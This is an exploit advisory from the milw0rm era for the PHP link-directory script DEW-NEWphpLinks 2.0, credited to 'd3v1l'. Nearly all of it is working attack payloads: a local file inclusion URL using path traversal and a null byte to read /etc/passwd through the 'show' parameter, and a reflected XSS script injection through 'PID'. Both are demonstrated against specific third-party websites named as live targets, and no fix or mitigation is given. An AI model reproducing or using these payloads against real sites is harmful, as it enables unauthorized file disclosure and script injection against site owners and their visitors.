dew-newphplinks 2.0 (lfi/xss) Multiple Vulnerabilities

                                                [~]------------------------------------------------------------------------------------------------
[~] DEW-NEWphpLinks 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
[~]
[~] http://www.dew-code.com
[~]  
[~] 
[~] -----------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 25.04.2009
[~]
[~]
[~] [email protected] http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members(https://security-shell.ws/forum.php)-(http://security-sh3ll.blogspot.com)
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------
[~] Exploit :- LFI - index.php?show=
[~]
[~] http://site.com/index.php?show=../../../../../../etc/passwd%00
[~]  
[~] Ex :-
[~]
[~] http://www.customprintedsweatshirts.com/links/index.php?show=../../../../../../etc/passwd%00  
[~] http://directory.custom-printed-t-shirts.com/index.php?show=../../../../../../etc/passwd%00
[~]-------------------------------------------------------------------------------------------------
[~] XSS on search module works fine on ALL version
[~]  
[~] Ex :- XSS - index.php?PID=
[~] 
[~] http://directory.custom-printed-t-shirts.com/index.php?PID="><script>alert("test")</script>
[~] http://www.customprintedsweatshirts.com/links/index.php?PID="><script>alert("test")</script>
[~]-------------------------------------------------------------------------------------------------

# milw0rm.com [2009-04-27]